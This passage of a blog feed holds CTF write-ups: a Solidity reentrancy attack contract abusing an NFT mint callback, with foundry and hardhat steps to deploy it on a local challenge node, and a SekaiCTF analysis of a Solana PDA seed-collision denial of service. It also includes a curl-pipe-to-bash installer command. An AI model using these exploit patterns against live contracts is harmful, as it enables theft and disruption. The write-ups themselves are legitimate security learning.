&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;Solve&lt;/h3&gt;
&lt;pre id=&quot;code_1695118177646&quot; class=&quot;r&quot; data-ke-language=&quot;r&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;pragma solidity ^0.8.13;

import &quot;./MintChocolate.sol&quot;;

contract Attack {

    MintChocolate public cho;
    bytes4 private constant _ERC721_RECEIVED = 0x150b7a02;

    uint public amt = 1;

    constructor (address _addr) {
        cho = MintChocolate(_addr);
    }

    function attack() public {
        cho.mint(10);
    }

    function onERC721Received(address operator, address from, uint256 tokenId, bytes calldata data) public returns (bytes4) {
        amt = amt + 1;
        if(amt &amp;gt; 10) return _ERC721_RECEIVED;
        else {
            cho.mint(10);
            return _ERC721_RECEIVED;
        }
    }
}&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;I'm a Python lover, so I always made and sent transactions by Web3py.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;I&amp;nbsp;learned&amp;nbsp;various&amp;nbsp;methods&amp;nbsp;through&amp;nbsp;this&amp;nbsp;opportunity.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;hr contenteditable=&quot;false&quot; data-ke-type=&quot;horizontalRule&quot; data-ke-style=&quot;style3&quot; /&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;foundry&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;First, install foundry pacakge.&lt;/p&gt;
&lt;pre id=&quot;code_1695195982698&quot; class=&quot;bash&quot; data-ke-language=&quot;bash&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;curl -L https://foundry.paradigm.xyz | bash&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;create new forge project&amp;nbsp;&lt;/p&gt;
&lt;pre id=&quot;code_1695196153547&quot; class=&quot;bash&quot; data-ke-language=&quot;bash&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;forge init ctf&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;Add contract codes to /src folder and commit them.&lt;/p&gt;
&lt;pre id=&quot;code_1695196320528&quot; class=&quot;bash&quot; data-ke-language=&quot;bash&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;git commit -am &quot; &quot;&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;Deploy the attack contracts by create command&lt;/p&gt;
&lt;pre id=&quot;code_1695196352616&quot; class=&quot;bash&quot; data-ke-language=&quot;bash&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;forge create [contract name] --rpc-url [rpc url] --private-key [private key]&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;e.g.&lt;/p&gt;
&lt;pre id=&quot;code_1695196413121&quot; class=&quot;bash&quot; data-ke-language=&quot;bash&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;forge create MintChocolate --rpc-url http://127.0.0.1:8545 --private-key 0x8157bcd2b05ef0d7bce1a22ab85b68d4e23b425fcaf2544fa8e10965787364b1&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;If you put your attack code in the constructor, it can end there.&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;But if you need to send transaction and call..&lt;/p&gt;
&lt;pre id=&quot;code_1695196489371&quot; class=&quot;bash&quot; data-ke-language=&quot;bash&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;cast send --private-key [private-key] [contract address] --rpc-url [rpc-url] [function signature]&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;e.g.&lt;/p&gt;
&lt;pre id=&quot;code_1695196501071&quot; class=&quot;bash&quot; data-ke-language=&quot;bash&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;cast send --private-key 0x8157bcd2b05ef0d7bce1a22ab85b68d4e23b425fcaf2544fa8e10965787364b1 0x9c544AA42C097868210689929E0bc1B402a77C98 --rpc-url http://127.0.0.1:8545 &quot;attack()&quot;&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;pre id=&quot;code_1695196535009&quot; class=&quot;bash&quot; data-ke-language=&quot;bash&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;cast call [contract address] --rpc-url [rpc-url] [function signature]&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;e.g.&lt;/p&gt;
&lt;pre id=&quot;code_1695196550765&quot; class=&quot;bash&quot; data-ke-language=&quot;bash&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;cast call 0x59583FEE674F073A36681a127cFa2250AedE73Cd --rpc-url http://127.0.0.1:8545 &quot;goldenTicket()&quot;&lt;/code&gt;&lt;/pre&gt;
&lt;hr contenteditable=&quot;false&quot; data-ke-type=&quot;horizontalRule&quot; data-ke-style=&quot;style3&quot; /&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;hardhat&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;Install hardhat.&lt;/p&gt;
&lt;pre id=&quot;code_1695196643284&quot; class=&quot;bash&quot; data-ke-language=&quot;bash&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;npm install hardhat&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;Create hardhat project.&lt;/p&gt;
&lt;pre id=&quot;code_1695196657107&quot; class=&quot;bash&quot; data-ke-language=&quot;bash&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;npx hardhat&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;Add contracts codes to /contracts folder and change /scripts/deploy.js.&lt;/p&gt;
&lt;pre id=&quot;code_1695196904716&quot; class=&quot;javascript&quot; data-ke-language=&quot;javascript&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;const hre = require(&quot;hardhat&quot;);

async function main() {
  // const mintChoco = await hre.ethers.deployContract(&quot;MintChocolate&quot;);
  const mintChoco = await hre.ethers.getContractAt(&quot;MintChocolate&quot;, &quot;0x3cd6169a6Eac4d2045E67D113D537C1d70b59ADc&quot;);
  // await mintChoco.waitForDeployment();

  const mintChocoAddress = await mintChoco.getAddress();
  console.log(mintChocoAddress);

  const attack = await hre.ethers.deployContract(&quot;Attack&quot;, [mintChocoAddress]);
  await mintChoco.waitForDeployment();
  await attack.attack();

  console.log(await mintChoco.goldenTicket())
}

// We recommend this pattern to be able to use async/await everywhere
// and properly handle errors.
main().catch((error) =&amp;gt; {
  console.error(error);
  process.exitCode = 1;
});&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;Change hardhat.config.js for CTF setting.&lt;/p&gt;
&lt;pre id=&quot;code_1695196978335&quot; class=&quot;javascript&quot; data-ke-language=&quot;javascript&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;require(&quot;@nomicfoundation/hardhat-toolbox&quot;);

/** @type import('hardhat/config').HardhatUserConfig */
module.exports = {
  solidity: &quot;0.8.13&quot;,
  networks: {
    ctf: {
      url: &quot;http://127.0.0.1:8545&quot;,
      accounts: [&quot;0x8157bcd2b05ef0d7bce1a22ab85b68d4e23b425fcaf2544fa8e10965787364b1&quot;,]
    }
  },
};&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;And execute!&lt;/p&gt;
&lt;pre id=&quot;code_1695197052940&quot; class=&quot;javascript&quot; data-ke-language=&quot;javascript&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;npx hardhat --network ctf run deploy.js&lt;/code&gt;&lt;/pre&gt;
&lt;hr contenteditable=&quot;false&quot; data-ke-type=&quot;horizontalRule&quot; data-ke-style=&quot;style3&quot; /&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;remix + metamask&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;only possile if chainId is &lt;span style=&quot;color: #ee2323;&quot;&gt;&lt;b&gt;not&lt;/b&gt; &lt;b&gt;1&lt;/b&gt;&lt;/span&gt;.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;Add a network to the metamask.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignLeft&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1186&quot; data-origin-height=&quot;566&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/oiZ2a/btsuQvJTFgf/utyjS2BrK5D8thq3P7GRw0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/oiZ2a/btsuQvJTFgf/utyjS2BrK5D8thq3P7GRw0/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/oiZ2a/btsuQvJTFgf/utyjS2BrK5D8thq3P7GRw0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FoiZ2a%2FbtsuQvJTFgf%2FutyjS2BrK5D8thq3P7GRw0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1186&quot; height=&quot;566&quot; data-origin-width=&quot;1186&quot; data-origin-height=&quot;566&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;Add a private key provided by CTF to the metamask.&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignLeft&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;342&quot; data-origin-height=&quot;472&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/SlpT0/btsuIBEbstE/82FCFSq3CJ7KxmgaYGX4WK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/SlpT0/btsuIBEbstE/82FCFSq3CJ7KxmgaYGX4WK/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/SlpT0/btsuIBEbstE/82FCFSq3CJ7KxmgaYGX4WK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FSlpT0%2FbtsuIBEbstE%2F82FCFSq3CJ7KxmgaYGX4WK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;342&quot; height=&quot;472&quot; data-origin-width=&quot;342&quot; data-origin-height=&quot;472&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;Change Remix VM to Injected Provider&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignLeft&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;370&quot; data-origin-height=&quot;175&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/CIMrs/btsuIDPx74i/EUcO9Jwk6WXao4sViW4Mdk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/CIMrs/btsuIDPx74i/EUcO9Jwk6WXao4sViW4Mdk/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/CIMrs/btsuIDPx74i/EUcO9Jwk6WXao4sViW4Mdk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FCIMrs%2FbtsuIDPx74i%2FEUcO9Jwk6WXao4sViW4Mdk%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;370&quot; height=&quot;175&quot; data-origin-width=&quot;370&quot; data-origin-height=&quot;175&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;figure class=&quot;imageblock alignLeft&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;366&quot; data-origin-height=&quot;184&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/cZp4iU/btsuQhE7QUQ/3cA1QHu1UUm22DHDH5mUr0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/cZp4iU/btsuQhE7QUQ/3cA1QHu1UUm22DHDH5mUr0/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/cZp4iU/btsuQhE7QUQ/3cA1QHu1UUm22DHDH5mUr0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FcZp4iU%2FbtsuQhE7QUQ%2F3cA1QHu1UUm22DHDH5mUr0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;366&quot; height=&quot;184&quot; data-origin-width=&quot;366&quot; data-origin-height=&quot;184&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;If you can't see a new account in your account list, refresh and reconnect the Metamask&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignLeft&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;345&quot; data-origin-height=&quot;198&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bRNonw/btsuSmsmbVA/4k1N77KR6hzHnRYN9qBSE0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bRNonw/btsuSmsmbVA/4k1N77KR6hzHnRYN9qBSE0/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bRNonw/btsuSmsmbVA/4k1N77KR6hzHnRYN9qBSE0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbRNonw%2FbtsuSmsmbVA%2F4k1N77KR6hzHnRYN9qBSE0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;345&quot; height=&quot;198&quot; data-origin-width=&quot;345&quot; data-origin-height=&quot;198&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;</description>
      <category>writeups</category>
      <author>gss1</author>
      <guid isPermaLink="true">https://gss1.tistory.com/170</guid>
      <comments>https://gss1.tistory.com/entry/whitehat-2023-blockchain-crypto#entry170comment</comments>
      <pubDate>Tue, 19 Sep 2023 00:50:33 +0900</pubDate>
    </item>
    <item>
      <title>SekaiCTF 2023 - Blockchain(The Bidding, Play for Free, Re-Remix)</title>
      <link>https://gss1.tistory.com/entry/SekaiCTF-2023-BlockchainThe-Bidding-Play-for-Free-Re-Remix</link>
      <description>&lt;p data-ke-size=&quot;size16&quot;&gt;I participated in SekaiCTF 2023 with CyKor.&lt;br /&gt;The reason why this CTF is special is that it has blockchain prizes. &lt;br /&gt;&lt;br /&gt;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignLeft&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;448&quot; data-origin-height=&quot;251&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/7KpfT/btsshr311L9/janOJ9oHF5BhquSmfD6H20/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/7KpfT/btsshr311L9/janOJ9oHF5BhquSmfD6H20/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/7KpfT/btsshr311L9/janOJ9oHF5BhquSmfD6H20/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2F7KpfT%2Fbtsshr311L9%2FjanOJ9oHF5BhquSmfD6H20%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;448&quot; height=&quot;251&quot; data-origin-width=&quot;448&quot; data-origin-height=&quot;251&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;br /&gt;I won the second blood in one of the three challenges. &lt;br /&gt;&lt;br /&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;My writeups is &lt;a href=&quot;https://github.com/kangsangsoo/CTF-Writeups/tree/main/SekaiCTF%202023&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;https://github.com/kangsangsoo/CTF-Writeups/tree/main/SekaiCTF%202023&lt;/a&gt;&lt;/p&gt;
&lt;hr contenteditable=&quot;false&quot; data-ke-type=&quot;horizontalRule&quot; data-ke-style=&quot;style5&quot; /&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;The Bidding&lt;/h2&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;Analysis&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;Taking a look at framework/src/main.rs, we could get the following flow:&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;1. Admin sends 500sol, 1sol to rich_boi, user.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;2. Product is created and auction starts.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;3. &lt;b&gt;Run solver's instructions.&lt;/b&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;4. rich_boi bids 100sol for the auction.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;5. The auction is ended.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;6. If user is a winner of the auction, it presents a flag.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;If it has a normal flow, &lt;span style=&quot;color: #333333; text-align: start;&quot;&gt;rich_boi&lt;span&gt; becomes &lt;/span&gt;&lt;/span&gt;the winner because the user can only bid up to 1sol.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;So I need the abnormal flows&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;for example&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;1. how to get user to have more than 100sol&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;2. how to get rich_boi to have less money than 100sol&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;3. how to end the auction before rici_boi bids&lt;br /&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;Root Cause&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #333333; text-align: start;&quot;&gt;In&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;framework/chall/programs/chall/src/lib.rs,&amp;nbsp;we need a product to create the auction.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;The PDA that contains Product struct is derived from some constraints:&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;1. re-initialization is not allowed&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;2. product_name and product_id are used as seeds&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;3. using canonical bump&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;pre id=&quot;code_1693122325474&quot; class=&quot;rust&quot; data-ke-language=&quot;rust&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;#[derive(Accounts)]
#[instruction(product_name: Vec&amp;lt;u8&amp;gt;, product_id: [u8; 32])]
pub struct CreateProduct&amp;lt;'info&amp;gt; {
    #[account(
        init,
        seeds = [ &amp;amp;product_name[..], &amp;amp;product_id ],
        bump,
        payer = user,
        space = ACCOUNT_SIZE,
    )]
    pub product: Account&amp;lt;'info, Product&amp;gt;,

    #[account(mut)]
    pub user: Signer&amp;lt;'info&amp;gt;,

    pub system_program: Program&amp;lt;'info, System&amp;gt;,
    pub rent: Sysvar&amp;lt;'info, Rent&amp;gt;,
}

#[derive(Debug)]
#[account]
pub struct Product {
    pub name: Vec&amp;lt;u8&amp;gt;,
    pub id: [u8; 32],

    pub owner: Pubkey,

    pub is_auctioning: bool,
}&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;According to the constraint of auction account in Bid, an aunction is still in progress and the bid must be higher than the winning_bid_amount.&lt;/p&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;We also need a PDA to store the bid information.&lt;/p&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;It has some constraints:&lt;/p&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;1. re-init is not allowed&lt;/p&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;2. auction key and bidder key are used as seeds&lt;/p&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;3. using canonical bump&lt;/p&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;In this point, if a rich_boi cannot make a bid account&lt;/p&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;no matter how much sol he has, he can't participate in the bidding.&lt;/p&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;So the user can be winner in auction with 1sol.&lt;/p&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;Recalling the CreateProduct,&lt;/p&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;product PDA's seeds = &lt;span style=&quot;background-color: #f6e199;&quot;&gt;product_name(Vec&amp;lt;u8&amp;gt;) + product_id([u8; 32])&lt;/span&gt; could collide with&lt;/p&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #333333; text-align: start;&quot;&gt;bid PDA's seeds =&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;&lt;span style=&quot;background-color: #f6e199;&quot;&gt;auction key(32-byte) + bidder key(32-byte)&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;By creating a product with the auction key as the product_name and the rich_boi key as &lt;span style=&quot;color: #333333; text-align: start;&quot;&gt;the product_id&lt;/span&gt;, a seed collision occurs, preventing rich_boi from participating in the auction.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;pre id=&quot;code_1693122981028&quot; class=&quot;rust&quot; data-ke-language=&quot;rust&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;#[derive(Accounts)]
#[instruction(bid_amount: u64)]
pub struct Bid&amp;lt;'info&amp;gt; {
    #[account(
        init,
        seeds = [ &amp;amp;auction.key().as_ref(), &amp;amp;bidder.key().as_ref() ],
        bump,
        payer = bidder,
        space = ACCOUNT_SIZE,
    )]
    pub bid: Account&amp;lt;'info, BidInfo&amp;gt;,

    #[account(
        mut,
        seeds = [ product.key().as_ref(), &amp;amp;auction.name ],
        bump,
        constraint = !auction.has_ended,
        constraint = bid_amount &amp;gt; auction.winning_bid_amount,
    )]
    pub auction: Account&amp;lt;'info, Auction&amp;gt;,

    #[account(
        seeds = [ &amp;amp;product.name, &amp;amp;product.id ],
        bump,
    )]
    pub product: Account&amp;lt;'info, Product&amp;gt;,

    #[account(mut)]
    pub bidder: Signer&amp;lt;'info&amp;gt;,

    pub system_program: Program&amp;lt;'info, System&amp;gt;,
    pub rent: Sysvar&amp;lt;'info, Rent&amp;gt;,
}&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;So, seed collision could result in &lt;span style=&quot;color: #333333; text-align: start;&quot;&gt;DoS attack&lt;/span&gt;.&lt;/p&gt;
